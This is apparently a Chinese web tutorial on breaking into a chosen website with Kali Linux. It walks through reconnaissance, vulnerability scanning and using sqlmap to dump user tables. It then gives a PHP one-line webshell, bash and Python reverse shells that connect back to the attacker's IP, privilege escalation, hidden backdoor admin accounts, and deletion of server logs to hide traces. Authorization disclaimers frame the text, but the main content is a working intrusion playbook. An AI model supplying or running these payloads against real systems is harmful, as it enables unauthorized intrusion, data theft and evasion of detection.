kali 指定网站入侵
(图片来源网络,侵删)
  • 仅供学习和授权测试! 以下所有技术和工具,绝对禁止用于任何未经明确书面授权的网站或系统,未经授权的入侵是严重的违法行为,会带来包括但不限于罚款、监禁在内的法律后果。
  • 道德准则: 一个真正的白帽黑客(道德黑客)的首要原则是“不造成损害”,你的目标是找到并报告漏洞,帮助网站所有者修复,而不是窃取数据、破坏系统或造成任何形式的损害。
  • 责任自负: 如果你选择在不授权的情况下进行测试,一切后果由你个人承担,本指南不承担任何责任。

网站渗透测试方法论(基于 Kali Linux)

一个专业的渗透测试遵循一个结构化的流程,通常包括以下几个阶段:

  1. 信息收集
  2. 漏洞扫描与分析
  3. 漏洞利用
  4. 权限提升
  5. 维持访问
  6. 清理痕迹与报告

下面我们结合 Kali Linux 的工具,一步步展开。


信息收集

这是所有测试的基础,你需要尽可能多地了解目标网站。

域名与子域名信息

  • 工具:whois

    kali 指定网站入侵
    (图片来源网络,侵删)
    • 用途: 查询域名注册信息,如注册商、注册人、过期时间、DNS 服务器等。
    • 命令:
      whois example.com
  • 工具:theHarvester

    • 用途: 强大的信息收集工具,可以从搜索引擎、Shodan、 censys 等公开渠道收集子域名、邮箱、虚拟主机、员工姓名等。
    • 命令:
      theHarvester -d example.com -b google
      # -d 指定域名, -b 指定数据源
      # 还可以尝试 bing, baidu, shodan 等
  • 工具:sublist3r

    • 用途: 专门用于发现子域名的工具。
    • 命令:
      sublist3r -d example.com

网站技术栈识别

了解网站使用的技术(如 Web 服务器、编程语言、CMS、框架)有助于寻找针对性的漏洞。

  • 工具:WhatWeb

    kali 指定网站入侵
    (图片来源网络,侵删)
    • 用途: 识别网站使用的技术,版本号,甚至一些已知的插件。
    • 命令:
      whatweb http://example.com
  • 工具:Wappalyzer (浏览器插件)

    • 用途: 安装在 Chrome 或 Firefox 上,可以直观地显示网站的技术栈。
  • 工具:curl

    • 用途: 获取服务器的响应头,里面可能包含服务器信息(如 Server: Apache/2.4.41)。
    • 命令:
      curl -I http://example.com

目录和文件枚举

寻找网站后台、备份文件、隐藏的目录或脚本。

  • 工具:DirBuster / gobuster

    • 用途: 使用字典爆破的方式,发现网站存在的目录和文件。

    • gobuster 命令示例:

      # 使用 Kali 自带的字典
      gobuster dir -u http://example.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
      # 使用更强大的 raft-large-directories.txt
      gobuster dir -u http://example.com -w /usr/share/wordlists/raft-large-directories.txt

漏洞扫描与分析

在收集了足够信息后,使用自动化工具扫描已知的漏洞。

  • 工具:Nikto

    • 用途: 老牌但仍然有效的 Web 服务器扫描器,会检查数百个已知的危险文件、目录和配置错误。
    • 命令:
      nikto -h http://example.com
  • 工具:Nmap (with NSE Scripts)

    • 用途: 不仅用于端口扫描,其 NSE (Nmap Scripting Engine) 脚本库包含大量针对 Web 应用的漏洞检测脚本。
    • 命令:
      # 扫描常见的 Web 漏洞
      nmap -sV --script http-vuln* http://example.com
  • 工具:OWASP ZAP (Zed Attack Proxy)

    • 用途: 这是一个功能极其强大的交互式 Web 应用渗透测试工具,它可以主动和被动地扫描漏洞,拦截和修改请求,进行 Fuzzing 测试等,是进行 Web 渗透测试的核心工具之一。

漏洞利用

这是最核心的阶段,利用发现的漏洞获取对服务器的初步访问权限。

常见漏洞类型及利用方法:

  1. SQL 注入

    • 描述: 攻击者可以通过输入恶意的 SQL 语句,操纵后端数据库。

    • 工具:sqlmap

    • 示例: 假设你发现了一个 URL http://example.com/news.php?id=1 可能存在 SQL 注入。

      # 自动检测和利用注入点
      sqlmap -u "http://example.com/news.php?id=1" --dbs
      # 获取指定数据库中的所有表
      sqlmap -u "http://example.com/news.php?id=1" -D database_name --tables
      # 获取指定表中的所有数据
      sqlmap -u "http://example.com/news.php?id=1" -D database_name -T users --dump
  2. 跨站脚本

    • 描述: 在用户浏览器中注入恶意脚本,窃取会话 Cookie、钓鱼等。
    • 利用: 通常需要构造一个恶意链接,诱骗管理员或普通用户点击,然后在浏览器控制台执行代码。
  3. 文件上传漏洞

    • 描述: 网站允许用户上传文件,但没有对文件类型、内容进行严格校验,导致可以上传 Webshell(如 PHP 一句话木马)。
    • 利用:
      • 使用 Burp SuiteOWASP ZAP 拦截上传请求,修改文件扩展名(如 .php)。
      • 上传一个简单的 PHP Webshell,
        <?php system($_GET['cmd']); ?>
      • 上传后,通过浏览器访问该文件,并执行系统命令, http://example.com/uploads/shell.php?cmd=whoami
  4. 远程代码执行

    • 描述: 最严重的漏洞之一,允许攻击者在服务器上直接执行任意命令。
    • 利用: 这通常需要特定的漏洞利用代码,例如针对特定软件版本(如 Struts2, Log4j)的 POC (Proof of Concept),Kali 的 searchsploit 工具可以帮助查找这些 POC。
      searchsploit Apache 2.4

权限提升

当你成功获取一个低权限账户(如 Web 服务器运行账户 www-data)的 Shell 后,下一步就是提升到更高权限(如 root)。

  • 工具:LinPEAS / LinEnum

    • 用途: 自动化的 Linux 权限提升脚本,会检查系统配置、服务、SUID 文件、内核漏洞等,寻找提权线索。
    • 命令: 将脚本上传到目标服务器后执行。
      # 假设你已上传 linpeas.sh
      ./linpeas.sh
  • 手动检查:

    • 查看可执行的 SUID/SGID 文件 (find / -perm -4000 -type f)。
    • 检查内核版本和发行版,查找已知漏洞 (uname -a)。
    • 检查是否有 sudo 权限 (sudo -l)。

维持访问

为了方便后续测试,你需要创建一个“后门”,确保即使重启服务,你也能重新获得访问权限。

  • 方法:
    • Web Shell: 保留之前上传的 Webshell。
    • 反向 Shell: 在目标服务器上执行一个命令,使其主动连接到你本地的监听端口,这是最常用的方法。
      • 在你的 Kali 上监听:
        nc -lvnp 4444
      • 在目标服务器上执行(根据目标系统选择):
        • Linux (Bash):
          bash -i >& /dev/tcp/你的KaliIP/4444 0>&1
        • Python:
          python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("你的KaliIP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
    • 后门账户: 创建一个隐藏的管理员账户。

清理痕迹与报告

(仅在授权测试的最终报告中体现,实际非法操作中应跳过此步,并主动停止所有活动)

  • 清理痕迹:
    • 日志: 删除或修改 Web 服务器日志(如 /var/log/apache2/access.log)、系统日志(/var/log/auth.log)中的你的 IP 地址和操作记录。注意: 清理日志本身也是一种非常可疑的行为。
    • 临时文件: 删除上传的工具、脚本、Shell 等。
  • 报告撰写:
    • 清晰地描述测试目标、范围、时间。
    • 详细记录每个发现的漏洞,包括漏洞类型、风险等级、复现步骤、潜在影响。
    • 提供具体的修复建议。

Kali Linux 工具箱总结

阶段 核心工具 描述
信息收集 whois, theHarvester, sublist3r 域名、子域名、邮箱信息收集
WhatWeb, Wappalyzer Web 技术栈识别
gobuster, DirBuster 目录和文件枚举
漏洞扫描 Nikto Web 服务器漏洞扫描
Nmap (with NSE) 端口和服务漏洞扫描
OWASP ZAP 交互式应用安全扫描器
漏洞利用 sqlmap 自动化 SQL 注入利用
Burp Suite 手动 Web 应用渗透测试(拦截、修改请求)
Metasploit Framework 利用已知漏洞获取 Shell
searchsploit 查找公开的漏洞利用代码
权限提升 LinPEAS, LinEnum Linux 权限提升自动化脚本
维持访问 Netcat 创建反向 Shell
Metasploit 创建 Meterpreter 会话(更强大的后门)
报告 Markdown, LibreOffice 撰写专业的渗透测试报告

再次强调,请务必在获得明确授权后,才能使用这些技术进行测试。 Kali Linux 是一个强大的学习平台,请善用它,用于提升网络安全技能,而非从事非法活动。